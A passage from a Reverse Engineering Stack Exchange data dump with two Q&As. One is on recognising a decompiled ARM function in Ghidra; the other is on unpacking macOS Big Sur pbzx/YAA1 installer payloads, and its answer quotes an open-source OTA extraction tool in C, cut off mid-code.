1);\n    if (1 &lt; iVar8) {\n      pbVar3 = (byte *)((int)param_2 + 2);\n      bVar11 = *(byte *)((int)param_2 + 1);\n    }\n    pbVar7 = (byte *)((int)puVar2 + 1);\n    if (bVar17 == bVar18) {\n      pbVar7 = (byte *)((int)puVar2 + 2);\n      *(byte *)((int)puVar2 + 1) = bVar11;\n    }\n    pbVar4 = pbVar3;\n    if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) {\n      pbVar4 = pbVar3 + 1;\n      bVar11 = *pbVar3;\n    }\n    if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) {\n      *pbVar7 = bVar11;\n    }\n    return CONCAT44(param_1,pbVar4);\n  }\n  return CONCAT44(param_1,param_2);\n}\n</code></pre>\n<p>My best guess for now is it is doing some kind of encoding and it might be a standard glibc function as it is called many times throughout the code.</p>\n<p>This function is usally called with parameter like follows:</p>\n<pre><code>ToSolve1(auStack55,(uint *)&amp;DAT_000543f4,0xe,uVar10);\nToSolve1(auStack55,(uint *)&amp;DAT_0005489c,0xe,uVar10);\nToSolve1((uint *)&amp;DAT_0004f602,&amp;local_1c,4,(uint)&amp;DAT_0004f680);\nToSolve1(param_1,&amp;DAT_0004f5f8,0xe,(uint)puVar4);\n</code></pre>\n<p>Hope someone can give me a nudge on what this function is.\nIf possible, I would like to learn about if there are any resources out there that can help me improve the skills of recognizing standard function signatures.</p>\n",
        "Title": "Having hard time analyzing stripped code",
        "Tags": "|arm|ghidra|functions|",
        "Answer": "<p>For starters you could start by geting rid of most of the casts then start carving out the stack and heap structs where possible, then try to change the name of variables where possible to more type oriented ones, this will show most of the &quot;duplicate&quot; variables.</p>\n<p>Then start following the main flow following labels and maybe change their name to what specific position mignt represet, like <code>fail_exit</code> or <code>success_exit</code> etc</p>\n<p>Allso, is allways good to have the basic std structs defined if the source was compiled with c++.</p>\n<p>e.g</p>\n<pre><code>struct std_vector{\n  void* begin;\n  void* end;\n  void* capacity;\n} \n\nstruct std_tree_node_base{\n       std_tree_node_base* left;\n       std_tree_node_base* parent;\n       std_tree_node_base* right;\n       char color;\n       char isNil;\n       short pad1;\n       //here will be the payload of the node, padded if needed\n }\n\n //red-black tree used to implement std::map, std::set\n struct std_tree{\n      std_tree_node_base*    head;\n      __int64                size;\n }\n\n struct std_list_node{\n      std_list_node* next;\n      std_list_node* prev;\n      //node payload here\n }\n\n struct std_list{\n      std_list_node* head;\n      __int64        size;\n }\n\n //same for std::wstring but using wchar_t* \n struct std_string {\n       char*    _Begin;\n       char*    _End;\n       __int64  _MySize;\n       __int64  _MyReserved;\n }\n</code></pre>\n<p>And maybe switch to IDA as its has a lot better decompiler than Ghidra.\nI think you can get the freeware version on their website, should suffice.</p>\n<p>Good Luck!</p>\n"
    },
    {
        "Id": "25419",
        "CreationDate": "2020-06-29T07:32:13.690",
        "Body": "<p>Apple's announcement of macOS Big Sur had meant the release of the developer beta. In an attempt to create the appbundle from Apple's <code>softwarecatalog</code>, <a href=\"https://kittywhiskers.eu/the-chronicles-of-big-sur/\" rel=\"nofollow noreferrer\">I attempted to study the contents of <code>InstallAssistant.pkg</code></a>. In the process, I found <code>pbzx</code> files in the <code>payloadv2</code> directory that mimic Format 3.0 used by iOS for its' OTA updates and <a href=\"http://newosxbook.com/articles/OTA8.html\" rel=\"nofollow noreferrer\">the study of that format by Johnathan Levin</a> and attempted to use his <code>ota</code> tool to extract it (which uses the following struct)</p>\n<pre><code>#pragma pack(1)\nstruct entry\n{\n\n    unsigned int usually_0x210_or_0x110;\n    unsigned short  usually_0x00_00; //_00_00;\n    unsigned int  fileSize;\n    unsigned short whatever;\n    unsigned long long timestamp_likely;\n    unsigned short _usually_0x20;\n    unsigned short nameLen;\n    unsigned short uid;\n    unsigned short gid;\n    unsigned short perms;\n    char name[0];\n// Followed by file contents\n};\n\n#pragma pack()\n</code></pre>\n<p>There was no avail with <code>ota</code> so I resorted to use a slightly modified (in terms of memory improvements) version of his <code>pbzx</code> tool to extract the stream, to success using the bash command given below in the <code>payloadv2</code> directory</p>\n<p><code>rm *.ecc &amp;&amp; find *.??? -exec bash -c &quot;./pbzx {} &gt;&gt; {}.unpbzx&quot; \\; &amp;&amp; mkdir unpbzx &amp;&amp; mv *.unpbzx unpbzx/</code></p>\n<p>As a result I now have a directory full of <code>.unpbzx</code> files. Attempting to run <code>ota</code> (with <code>pbzx</code> support removed to eliminate the possibility of potential bugs there) on <code>payload.000.unpbzx</code> results in a Segmentation Fault, <code>gdb</code> returns</p>\n<pre><code>Corrupt entry (0x31414159 at pos 30@0x10100001e).. skipping\n\nThread 2 received signal SIGSEGV, Segmentation fault.\n0x00000001000031b4 in processFile (FileName=0x7ffeefbff74e &quot;/Volumes/[redacted]/pbzx/payload.000.unpbzx&quot;) at ota.c:423\n423                 while (ent-&gt;usually_0x210_or_0x110 != 0x210 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x110)\n</code></pre>\n<p>Running it with alternative tools like <code>ota2tar</code> (with <code>pbzx</code> extraction code removed) and forks of <code>ota</code> like <code>iOS-Utilities</code> gave similar errors (out-of-bounds memory errors, etc.)</p>\n<p>It appears that somehow this <code>unpbzx</code> file has a different header structure to the description of <a href=\"https://www.theiphonewiki.com/wiki/OTA_Updates\" rel=\"nofollow noreferrer\">Format 3.0 on the iPhone Wiki</a></p>\n<p>Opening <code>payload.000.unpbzx</code> with Hex Fiend shows that the file format appears to be differing from the struct given above (singular entry highlighted)</p>\n<p><a href=\"https://i.stack.imgur.com/x9dqV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/x9dqV.png\" alt=\"Hex Fiend showing an odd format with magic phrase YAA1\" /></a></p>\n<p>Files seem to be listed with some form of delimiter <code>YAA1</code> in the beginning. Isolating individual entries gives results similar to the image given below (file name highlighted)</p>\n<p><a href=\"https://i.stack.imgur.com/zYcIY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zYcIY.png\" alt=\"Photograph of hex string with singular entry, highlighting of path\" /></a></p>\n<p>My knowledge of reverse engineering is admittedly limited so the best I could do is some psudocode about what the struct may look like</p>\n<pre><code>struct entry\n{\n  uint8_t header; // 59414131 (0xYAA1) \n  uint32_t description; // 69005459 50314450 41545030 (iTYP1DPATP)\n  uint8_t padding; // 00\n  // fileNameLen undefined\n  char[fileNameLen] filename; // System/Library/Perl/Extras/5.28/Net/LDAP/Control\n  uint8_t uid; // 55494431 (or 0xUID1)\n  uint8_t padding2; // 00\n  uint8_t descr_end; // 474944 31004D4F 4432ED01 464C4734 00000800 4D544D54\n  // (descr_end includes GID, MOD and FLG values)\n  // file_contents\n}\n</code></pre>\n<p>As a last ditch attempt, I ran <code>payload.000.unpbzx</code> through 7zip and it identifies the file as a <code>gzip</code> stream</p>\n<pre><code>Path = /Volumes/[redacted]/pbzx/payload.000.unpbzx\nType = gzip\nERRORS:\nThere are data after the end of archive\nOffset = 5636247\nPhysical Size = 98\nTail Size = 12327687\nHeaders Size = 10\nStreams = 1\n\nERROR: There is some data after the end of the payload data : payload.000\n\nSub items Errors: 1\nArchives with Errors: 1\nOpen Errors: 1\n</code></pre>\n<p>But <code>gunzip</code> does not recognize the format.</p>\n<p><strong>At this point, what would be the best way of interpreting this new archival structure and how do I proceed forward?</strong></p>\n<p><em>(Note: Hex Fiend displays <code>000.pbzx</code> because I did actually name the files with the <code>.pbzx</code> extension even though that naming was incorrect and had modified it to <code>.unpbzx</code> for clarity in this question)</em></p>\n",
        "Title": "Attempting to reverse engineer an iOS OTA payload-like archival format",
        "Tags": "|file-format|ios|osx|",
        "Answer": "<p>See: <a href=\"http://newosxbook.com/articles/OTA8.html\" rel=\"nofollow noreferrer\">http://newosxbook.com/articles/OTA8.html</a></p>\n<p>(and prior episodes)</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;ctype.h&gt;\n#include &lt;unistd.h&gt;\n#define _GNU_SOURCE 1 \n#include &lt;string.h&gt;\n\n#include &lt;sys/stat.h&gt; // for mkdir\n#include &lt;sys/mman.h&gt; // for mmap\n\n#undef ntohl\n#undef ntohs\n\n\n\n#define RED     &quot;\\033[0;31m&quot;\n#define M0      &quot;\\e[0;30m&quot;\n#define CYAN    &quot;\\e[0;36m&quot;\n#define M1      &quot;\\e[0;31m&quot;\n#define GREY    &quot;\\e[0;37m&quot;\n#define M8      &quot;\\e[0;38m&quot;\n#define M9      &quot;\\e[0;39m&quot;\n#define GREEN   &quot;\\e[0;32m&quot;\n#define YELLOW  &quot;\\e[0;33m&quot;\n#define BLUE    &quot;\\e[0;34m&quot;\n#define PINK    &quot;\\e[0;35m&quot;\n#define NORMAL  &quot;\\e[0;0m&quot;\n\n#ifdef LINUX\ntypedef unsigned long uint64_t;\ntypedef unsigned short uint16_t;\nextern void *memmem (const void *__haystack, size_t __haystacklen,\n                     const void *__needle, size_t __needlelen);\n\n\n#endif\n/**\n *  Apple iOS OTA/PBZX expander/unpacker/lister/searcher - by Jonathan Levin,\n *\n *  http://NewOSXBook.com/\n *  \n *  Free for anyone (AISE) to use, modify, etc. I won't complain :-), but I'd appreciate a mention\n *\n * Changelog: 02/08/16 - Replaced alloca with malloc () (full OTAs with too many files would have popped stack..)\n *\n *            02/17/16 - Increased tolerance for corrupt OTA - can now seek to entry in a file\n *\n *            08/31/16 - Added search in OTA.\n * \n *            02/28/18 - It's been a while - and ota now does diff!\n *                       Also tidied up and made neater\n *\n *            12/03/18 - Added -S to search for string null terminated\n *\n *            The last OTA: (seriously, I'm done :-)\n *\n *        08/06/19 - Integrated @S1guza's symlink fix (Thanks, man!)\n *                       Added pbzx built-in so you don't have to use pbzx first\n *                       Added multiple file processing, compatible with shell expansion\n *                         Can now ota ...whatever... payload.0?? to iterate over all files!\n *                       Added -H to generate SHA-1 hashes for all ('*') or specific files in OTA\n *             (SHA-1 code taken from public domain, as was lzma)\n *\n *  To compile: now use attached makefile, since there are lzma dependencies\n *          Remember to add '-DLINUX' if on Linux\n *\n *\n */\ntypedef     unsigned int    uint32_t;\nuint64_t pos = 0;\n\n\n#ifndef NOSHA\n#include &quot;sha1.c&quot;\n#endif // NOSHA\n#pragma pack(1)\nstruct entry\n{\n \n unsigned int usually_0x210_or_0x110;\n unsigned short  usually_0x00_00; //_00_00;\n unsigned int  fileSize;\n unsigned short whatever;\n unsigned long long timestamp_likely;\n unsigned short _usually_0x20;\n unsigned short nameLen;\n unsigned short uid;\n unsigned short gid;\n unsigned short perms;\n char name[0];\n // Followed by file contents\n};\n\n#pragma pack()\n\nextern int ntohl(int);\nextern short ntohs(short);\nuint32_t    \nswap32(uint32_t arg)\n{\nreturn (ntohl(arg));\n}\n\nint g_list = 0;\nint g_verbose = 0;\nchar *g_extract = NULL;\nchar *g_search = NULL;\nchar *g_hash = NULL;\nint g_nullTerm = 0;\n\n\n\n// Since I now diff and use open-&gt;mmap(2) on several occasions, refactored \n// into its own function\n//\nvoid *mmapFile(char *FileName, uint64_t *FileSize)\n{\n\n    int fd = open (FileName, O_RDONLY);\n    if (fd &lt; 0) { perror (FileName); exit(1);}\n\n    // 02/17/2016 - mmap\n    \n    struct stat stbuf;\n    int rc = fstat(fd, &amp;stbuf);\n\n    char *mmapped =  mmap(NULL, // void *addr,\n                  stbuf.st_size ,   // size_t len, \n                  PROT_READ,        // int prot,\n                  MAP_PRIVATE,                //  int flags,\n                  fd,               // int fd, \n                  0);               // off_t offset);\n\n\n    if (mmapped == MAP_FAILED)  { perror (FileName); exit(1);}\n\n    if (FileSize) *FileSize = stbuf.st_size;\n\n    close (fd);\n    return (mmapped);\n}\n\n\nvoid hashFile (char *File, char *Name, uint32_t Size, short Perms, char *HashCriteria)\n{\n\n    if (!HashCriteria) return;\n\n    if ((HashCriteria[0] != '*') &amp;&amp; ! strstr(Name, HashCriteria)) return ;\n    \n#define HASH_SIZE   20\n\n    uint8_t Message_Digest[SHA1HashSize];\n\n    doSHA1((void*)File, Size, Message_Digest);\n\n\n\n    int i = 0;\n    printf(&quot;%s (%d bytes): &quot;, Name, Size);\n    for (i = 0; i &lt; HASH_SIZE; i++)\n    {\n        printf(&quot;%02X&quot;, Message_Digest[i]);\n    }\n\n    printf(&quot;\\n&quot;);\n\n}\n\nvoid \nextractFile (char *File, char *Name, uint32_t Size, short Perms, char *ExtractCriteria)\n{\n    // MAYBE extract file (depending if matches Criteria, or &quot;*&quot;).\n    // You can modify this to include regexps, case sensitivity, what not. \n    // presently, it's just strstr()\n\n\n    if (!ExtractCriteria) return;\n    if ((ExtractCriteria[0] != '*') &amp;&amp; ! strstr(Name, ExtractCriteria)) return;\n    \n\n    uint16_t type = Perms &amp; S_IFMT;\n        Perms &amp;= ~S_IFMT;\n        if(type != S_IFREG &amp;&amp; type != S_IFLNK)\n        {\n            fprintf(stderr, &quot;Unknown file type: %o\\n&quot;, type);\n                // return;\n        }\n\n    // Ok. Extract . This is simple - just dump the file contents to its directory.\n    // What we need to do here is parse the '/' and mkdir(2), etc.\n    \n    char *dirSep = strchr (Name, '/');\n    while (dirSep)\n    {\n        *dirSep = '\\0';\n        mkdir(Name,0755);\n        *dirSep = '/';\n        dirSep+=1;\n        dirSep = strchr (dirSep, '/');\n    }\n\n    if(type == S_IFLNK) \n    {\n    /* @s1guza's support for symlinks! */\n    /* http://newosxbook.com/forum/viewtopic.php?f=3&amp;t=19513 */\n        char *target = strndup(File, Size);\n        if(g_verbose) \n        {\n            fprintf(stderr, &quot;Symlinking %s to %s\\n&quot;, Name, target);\n        }\n        symlink(target, Name);\n        fchmodat(AT_FDCWD, Name, Perms, AT_SYMLINK_NOFOLLOW);\n        free(target);\n    }\n\n    else  {\n    // at this point we're out of '/'s\n    // go back to the last /, if any\n    \n    if (g_verbose)\n    {\n        fprintf(stderr, &quot;Dumping %d bytes to %s\\n&quot;, Size, Name);\n    }\n    int fd = open (Name, O_WRONLY| O_CREAT);\n    fchmod (fd, Perms);\n    write (fd, File, Size);\n    close (fd);\n\n    }\n\n} //  end extractFile\n\nvoid showPos()\n{\n    fprintf(stderr, &quot;POS is %lld\\n&quot;, pos);\n}\n\nstruct entry *getNextEnt (char *Mapping, uint64_t Size, uint64_t *Pos)\n{\n    // Return entry at Mapping[Pos],\n    // and advance Pos to point to next one\n\n    int pos = 0;\n    struct entry *ent =(struct entry *) (Mapping + *Pos );\n\n    if (*Pos &gt; Size) return (NULL);\n    *Pos += sizeof(struct entry);\n    \n    uint32_t entsize = swap32(ent-&gt;fileSize);\n    uint32_t nameLen = ntohs(ent-&gt;nameLen);\n        // Get Name (immediately after the entry)\n        //char *name = malloc (nameLen+1);\n        // strncpy(name, Mapping+ *Pos , nameLen);\n        //name[nameLen] = '\\0';\n    //printf(&quot;NAME %p IS %s, Size: %d\\n&quot;, Mapping, name, entsize);\n    //free (name);\n    *Pos += nameLen;\n    *Pos += entsize;\n\n    return (ent);\n\n} // getNextEnt\n\n\nint doDiff (char *File1, char *File2, int Exists)\n{\n\n    // There are two ways to do diff:\n    // look at both files as archives, find diffs, then figure out diff'ing entry,\n    // or look at file internal entries individually, then compare each of them\n    // I chose the latter. This also (to some extent) survives file ordering\n\n    // Note I'm still mmap(2)ing BOTH files. This contributes to speed, but does\n    // have the impact of consuming lots o'RAM. That said, this is to be run on a \n    // Linux/MacOS, and not on an i-Device, so we should be ok.\n\n    uint64_t file1Size = 0;\n\n    char *file1Mapping = mmapFile(File1, &amp;file1Size);\n    uint64_t file2Size = 0;\n    char *file2Mapping = mmapFile(File2, &amp;file2Size);\n\n\n    uint64_t file1pos = 0;\n    uint64_t file2pos = 0;\n\n    struct entry *file1ent = getNextEnt (file1Mapping, file1Size, &amp;file1pos);\n    struct entry *file2ent  = getNextEnt (file2Mapping,file2Size, &amp;file2pos);\n\n    uint64_t lastFile1pos, lastFile2pos = 0;\n\n    while (file1ent &amp;&amp; file2ent) {\n        \n        lastFile1pos = file1pos;\n        lastFile2pos = file2pos;\n\n        file1ent = getNextEnt (file1Mapping, file1Size, &amp;file1pos);\n        file2ent = getNextEnt (file2Mapping,file2Size, &amp;file2pos);\n        \n        char *ent1Name = file1ent-&gt;name;\n        char *ent2Name = file2ent-&gt;name;\n\n        // Because I'm lazy: skip last entry\n        if (file1pos &gt; file1Size - 1000000) break;\n\n        int found = 1;\n\n        char *n1 = strndup(file1ent-&gt;name, ntohs(file1ent-&gt;nameLen));\n        if (strncmp(ent1Name, ent2Name, ntohs(file1ent-&gt;nameLen)))\n            {\n                // Stupid names aren't NULL terminated (AAPL don't read my comments,\n                // apparently), so we have to copy both names in:\n\n                // But that's the least of our problems: We don't know if n1 has been removed\n                // from n2, or n2 is a new addition:\n                uint64_t seekpos = file2pos;    \n                // seek n1 in file2:\n\n                found = 0;\n                int i = 0;\n\n                struct entry *seek2ent;\n                while (1) {\n                    seek2ent = getNextEnt (file2Mapping,file2Size, &amp;seekpos);\n                    \n                    if (!seek2ent) { break; } // {printf(&quot;EOF\\n&quot;);break;}\n\n                    if (memcmp(seek2ent-&gt;name,file1ent-&gt;name, ntohs(seek2ent-&gt;nameLen)) == 0) {\n                \n                        found++; break;\n                    }\n                    else {\n/*\n                        i++;\n                        if (i &lt; 200) {\n                        char *n2 = strndup(seek2ent-&gt;name, ntohs(seek2ent-&gt;nameLen));\n\n                        printf(&quot;check: %s(%d) != %s(%d) -- %d\\n&quot;,n2, ntohs(seek2ent-&gt;nameLen),n1, strlen(n1),\n                    memcmp(seek2ent-&gt;name,file1ent-&gt;name, ntohs(seek2ent-&gt;nameLen) ));\n                        free(n2);\n\n                        }\n*/\n                      }\n                } // end while\n                \n                if (!found) { \n                        printf(&quot;%s: In file1 but not file2\\n&quot;, n1);\n                        // rewind file2pos so we hit the entry again..\n                        file2pos = lastFile2pos;\n                        }\n                else {\n                        // Found it - align (all the rest to this point were not in file1)\n                        file2pos = seekpos;\n                    }\n\n\n            } // name mismatch\n\n        if (found) {\n            // Identical entries - check for diffs unless we're only doing existence checks\n\n            // if the sizes diff, obviously:\n            \n            if (!Exists) {\n            if (file1pos - lastFile1pos != file2pos - lastFile2pos)\n                { fprintf(stdout,&quot;%s (different sizes)\\n&quot;, n1); }\n            else\n                // if sizes are identical, maybe - but ignore timestamp!\n            if (memcmp (((unsigned char *)file1ent) + sizeof(struct entry), \n                    ((unsigned char *)file2ent) + sizeof(struct entry), file1pos - lastFile1pos - sizeof(struct entry)))\n            { fprintf(stdout,&quot;%s\\n&quot;, n1); }\n\n            }\n        free (n1);\n        }\n\n    } // end file1pos\n    return 0;\n    \n\n}\n\nvoid processFile(char *fileName);\n\nint \nmain(int argc ,char **argv)\n{\n\n    char *filename =&quot;p&quot;;\n    int i = 0;\n\n    if (argc &lt; 2) {\n        fprintf (stderr,&quot;Usage: %s [-v] [-l] [...] _filename[s]_ \\nWhere: -l: list files in update payload\\n&quot;\n                &quot;Where: [...] is one of:\\n&quot;\n                &quot;       -e _file: extract file from update payload (use \\&quot;*\\&quot; for all files)\\n&quot;\n                &quot;       -s _string _file: Look for occurences of _string_ in file\\n&quot; \n                &quot;       -S _string _file: Look for occurences of _string_, NULL terminated in file\\n&quot; \n                &quot;       -H [_file]: get hash digest of specific file (use \\&quot;*\\&quot; for all files)\\n&quot;\n                &quot;       [-n] -d _file1 _file2: Point out differences between OTA _file1 and _file2\\n&quot;\n                &quot;                              -n to only diff names\\n&quot;, argv[0]);\n        exit(10);\n        }\n    \n    int exists = 0;\n\n    for (i = 1;\n         (i &lt; argc -1) &amp;&amp; (argv[i][0] == '-');\n         i++)\n        {\n        // This is super quick/dirty. You might want to rewrite with getopt, etc..\n        \n        if (strcmp(argv[i], &quot;-n&quot;) == 0) {\n                    exists++;\n            }\n        else\n        if (strcmp (argv[i] , &quot;-d&quot;) == 0) { \n          // make sure we have argv[i+1] and argv[i+2]...\n\n          if (i != argc - 3)\n            {\n                fprintf(stderr,&quot;-d needs exactly two arguments - two OTA files to compare\\n&quot;);\n                exit(6);\n            }\n\n          // that the files exist...\n          if (access (argv[i+1], F_OK)) { fprintf(stderr,&quot;%s: not a file\\n&quot;, argv[i+1]); exit(11); }      \n          if (access (argv[i+2], F_OK)) { fprintf(stderr,&quot;%s: not a file\\n&quot;, argv[i+2]); exit(12); }      \n        \n          // then do diff\n          return ( doDiff (argv[i+1],argv[i+2], exists));\n    \n        }\n        else\n        if (strcmp (argv[i], &quot;-l&quot;) == 0) { g_list++;} \n        else\n        if (strcmp (argv[i] , &quot;-v&quot;) == 0) { g_verbose++;}\n#ifndef NOSHA\n        else\n        if (strcmp(argv[i], &quot;-H&quot;) == 0) {\n            if (i == argc -1) { fprintf(stderr, &quot;-H: Option requires an argument (what to extract)\\n&quot;);\n                        exit(5); }\n\n            g_hash = argv[i+1]; i++;\n\n        }\n#endif\n        else\n        if (strcmp (argv[i], &quot;-e&quot;) == 0) { \n            if (i == argc -1) { fprintf(stderr, &quot;-e: Option requires an argument (what to extract)\\n&quot;);\n                        exit(5); }\n\n            g_extract = argv[i+1]; i++;\n\n        }\n\n        // Added 08/31/16:\n        // and modified 12/01/2018\n        else\n        if ((strcmp (argv[i], &quot;-s&quot;) == 0) || (strcmp (argv[i], &quot;-S&quot;) == 0))  { \n            if (i == argc - 2) { fprintf(stderr, &quot;%s: Option requires an argument (search string)\\n&quot;, argv[i]);\n                        exit(5); }\n            g_search = argv[i+1];\n            if (argv[i][1] == 'S') g_nullTerm++;\n            i++;     \n            }\n        else {\n            fprintf(stderr,&quot;Unknown option: %s\\n&quot;, argv[i]);\n            return 1;\n            }\n\n        \n            \n\n        }\n    \n\n    // Another little fix if user forgot filename, rather than try to open\n    if (argv[argc-1][0] == '-') {\n        fprintf(stderr,&quot;Must supply filename\\n&quot;); exit(5);\n    }\n\n    \n    // Loop over filenames:\n\n    for (; i &lt; argc; i++) \n    {\n        if (strstr(argv[i],&quot;.ecc&quot;)) continue;\n         processFile(argv[i]);\n    }\n\n}\n\n#define PBZX_MAGIC  &quot;pbzx&quot;\n\n\nchar *doPBZX (char *pbzxData, int Size, int *ExtractedSize) {\n\n#ifndef NO_PBZX\n#define OUT_BUFSIZE     16*1024*1024 // Largest chunk I've seen is 8MB. This is double that.\nchar *  decompressXZChunk(char *buf, int size, char *Into, int *IntoSize);\n\n\n    \n    uint64_t length = 0, flags = 0;\n\n   \n    char *returned = malloc(OUT_BUFSIZE);\n    int returnedSize = OUT_BUFSIZE;\n    int available = returnedSize;\n\n    int pos = strlen(PBZX_MAGIC);\n    flags = *((uint64_t *) pbzxData + pos);\n\n    // read (fd, &amp;flags, sizeof (uint64_t));\n    pos += sizeof(uint64_t);\n\n    flags = __builtin_bswap64(flags);\n\n\n   // fprintf(stderr,&quot;Flags: 0x%llx\\n&quot;, flags);\n\n    int i = 0;\n    int off = 0;\n\n    int warn = 0 ;\n    int skipChunk = 0;\n\n    \n    int rc = 0;\n    // 03/09/2016 - Fixed for single chunks (payload.0##) files, e.g. WatchOS\n    //              and for multiple chunks. AAPL changed flags on me..\n    //\n    // New OTAs use 0x800000 for more chunks, not 0x01000000.\n\n    // 08/06/2019 - dang it. it's not flags - it's uncomp chunk size.\n\n    uint64_t totalSize = 0;\n    uint64_t uncompLen = flags;\n    while (pos &lt; Size){\n    i++;\n    //printf(&quot;FLAGS: %llx\\n&quot;, flags);\n    // rc= read (fd, &amp;flags, sizeof (uint64_t)); // check retval..\n    flags = *((uint64_t *) (pbzxData +pos));\n    pos+= sizeof(uint64_t);\n    flags = __builtin_bswap64(flags);\n    //printf(&quot;FLAGS: %llx\\n&quot;, flags);\n\n    length = *((uint64_t *) (pbzxData +pos));\n    //rc = read (fd, &amp;length, sizeof (uint64_t));\n    pos+= sizeof(uint64_t);\n    length = __builtin_bswap64(length);\n\n    skipChunk = 0; // (i &lt; minChunk);\n    if (getenv(&quot;JDEBUG&quot;) != NULL) fprintf(stderr,&quot;Chunk #%d (uncomp: %lld, comp length: %lld bytes) %s\\n&quot;,i, flags,length, skipChunk? &quot;(skipped)&quot;:&quot;&quot;);\n     \n    // Let's ignore the fact I'm allocating based on user input, etc..\n    //char *buf = malloc (length);\n    //int bytes = read (fd, buf, length);\n\n    char *buf = pbzxData + pos;\n    pos += length;\n// flags = *((uint64_t *) (pbzxData +pos));\n\n#if 0\n    // 6/18/2017 - Fix for WatchOS 4.x OTA wherein the chunks are bigger than what can be read in one operation\n    int bytes = length;\n    int totalBytes = bytes;\n    while (totalBytes &lt; length) {\n        // could be partial read\n        bytes = read (fd, buf +totalBytes, length -totalBytes);\n        totalBytes +=bytes;\n        \n    }   \n#endif\n    \n\n   // We want the XZ header/footer if it's the payload, but prepare_payload doesn't have that, \n    // so just warn.\n    \n    if (memcmp(buf, &quot;\\xfd&quot;&quot;7zXZ&quot;, 6))  { warn++; \n        fprintf (stderr, &quot;Warning: Can't find XZ header. Instead have 0x%x(?).. This is likely not XZ data.\\n&quot;,\n            (* (uint32_t *) buf ));\n\n        // Treat as uncompressed\n        // UNCOMMENT THIS to handle uncomp XZ too..\n        // write (1, buf, length);\n        \n        \n        }\n    else // if we have the header, we had better have a footer, too\n    {\n    if (strncmp(buf + length - 2, &quot;YZ&quot;, 2)) { warn++; fprintf (stderr, &quot;Warning: Can't find XZ footer at 0x%llx (instead have %x). This is bad.\\n&quot;,\n        (length -2),\n        *((unsigned short *) (buf + length - 2))); \n        }\n//  if (1 &amp;&amp; !skipChunk)\n    {\n    // Uncompress chunk\n\n\n    int chunkExpandedSize = available;\n    char *ptrTo = returned + (returnedSize - available);\n    decompressXZChunk(buf, length, returned + (returnedSize - available),&amp;chunkExpandedSize);\n\n    //  printf(&quot;DECOMPRESSING to %p - %p\\n&quot;, ptrTo , ptrTo + chunkExpandedSize);\n    totalSize += chunkExpandedSize;\n    available -= chunkExpandedSize;\n    if (available &lt; OUT_BUFSIZE)\n    {\n        returnedSize += 10 * OUT_BUFSIZE;\n        available +=  10 * OUT_BUFSIZE;\n        // Can't use realloc!\n        char *new = malloc(returnedSize);\n        \n        if (getenv(&quot;JDEBUG&quot;) != NULL)printf(&quot;REALLOCING from %p to %p ,%x, AVAIL: %x\\n&quot;, returned,  new, returnedSize, available);\n        if (new) {\n         memcpy(new, returned, returnedSize - available);\n         free(returned);\n        returned = new;\n\n        }\n        else { fprintf(stderr,&quot;ERROR!\\n&quot;); exit(1);}\n    \n    }\n      \n\n    }\n    warn = 0;\n\n    // free (buf);  // Not freeing anymore, @ryandesign :-)\n    }\n\n    }\n    //printf(&quot;Total size: %d\\n&quot;, totalSize);\n    *ExtractedSize = totalSize;\n    if (getenv(&quot;JDEBUG&quot;) != NULL)\n    {\n    int f = open (&quot;/tmp/out1&quot;, O_WRONLY |O_CREAT);\n    write (f, returned, totalSize);\n    close(f);\n    }\n    return (returned);\n\n#else\n    fprintf(stderr,&quot;Not compiled with PBZX support!\\n&quot;);\n    return (NULL);\n#endif\n} // pbzx\n\nvoid processFile(char *FileName)\n{\n    int color = (getenv(&quot;JCOLOR&quot;)!= NULL);\n    fprintf(stderr, &quot;%sProcessing %s%s\\n&quot;, color ? RED: &quot;&quot;, FileName, color ? NORMAL :&quot;&quot;);\n\n    //unsigned char buf[4096];\n\n    uint64_t fileSize;\n\n    uint64_t mappedSize;\n    char *actualMmapped = mmapFile(FileName, &amp;mappedSize);\n\n    fileSize = mappedSize;\n\n    if (actualMmapped == MAP_FAILED) { perror (FileName); return ;}\n\n\n\n    char *mmapped = actualMmapped;\n    char *extracted = NULL;\n    // File could be a PBZX :-)\n    if (memcmp(mmapped, PBZX_MAGIC, strlen(PBZX_MAGIC)) ==0)\n    {\n            // DO PBZX first!\n            int extractedSize = 0;\n            extracted = doPBZX (mmapped, mappedSize, &amp;extractedSize);\n            mmapped = extracted;\n            fileSize = extractedSize;\n        \n    //  printf(&quot;EXTRACTED: %p, size: 0x%llx\\n&quot;,mmapped, fileSize);\n\n\n    }\n\n    int i = 0;\n\n    struct entry *ent = alloca (sizeof(struct entry));\n\n    pos = 0;\n    while(pos + 3*sizeof(struct entry) &lt; fileSize) {\n\n    ent = (struct entry *) (mmapped + pos );\n    pos += sizeof(struct entry);\n\n    if ((ent-&gt;usually_0x210_or_0x110 != 0x210 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x110 &amp;&amp;\n        ent-&gt;usually_0x210_or_0x110 != 0x310) || \n        ent-&gt;usually_0x00_00)\n    {\n        fprintf (stderr,&quot;Corrupt entry (0x%x at pos %llu@0x%llx).. skipping\\n&quot;, ent-&gt;usually_0x210_or_0x110,\n            pos, (uint64_t)(mmapped+pos));\n        int skipping = 1;\n\n        while (skipping)\n        {\n           ent = (struct entry *) (mmapped + pos ) ;\n           while (ent-&gt;usually_0x210_or_0x110 != 0x210 &amp;&amp; ent-&gt;usually_0x210_or_0x110 != 0x110)\n           {\n             // #@$#$%$# POS ISN'T ALIGNED!\n             pos ++;\n            ent = (struct entry *) (mmapped + pos ) ;\n           }\n           // read rest of entry\n            int nl = ntohs(ent-&gt;nameLen);\n\n            if (ent-&gt;usually_0x00_00 || !nl) {\n        //   fprintf(stderr,&quot;False positive.. skipping %d\\n&quot;,pos);\n            pos+=1;\n            \n\n            }\n            else { skipping =0;\n               pos += sizeof(struct entry); }\n            if (pos &gt; fileSize) return;\n        }\n\n    }\n\n    uint32_t    size = swap32(ent-&gt;fileSize);\n\n// fprintf(stdout,&quot; Here - ENT at pos %d: %x and 0 marker is %x namelen: %d, fileSize: %d\\n&quot;, pos, ent-&gt;usually_0x210_or_0x110, ent-&gt;usually_0x00_00, ntohs(ent-&gt;nameLen), size);\n\n    uint32_t    nameLen = ntohs(ent-&gt;nameLen);\n    // Get Name (immediately after the entry)\n    //\n    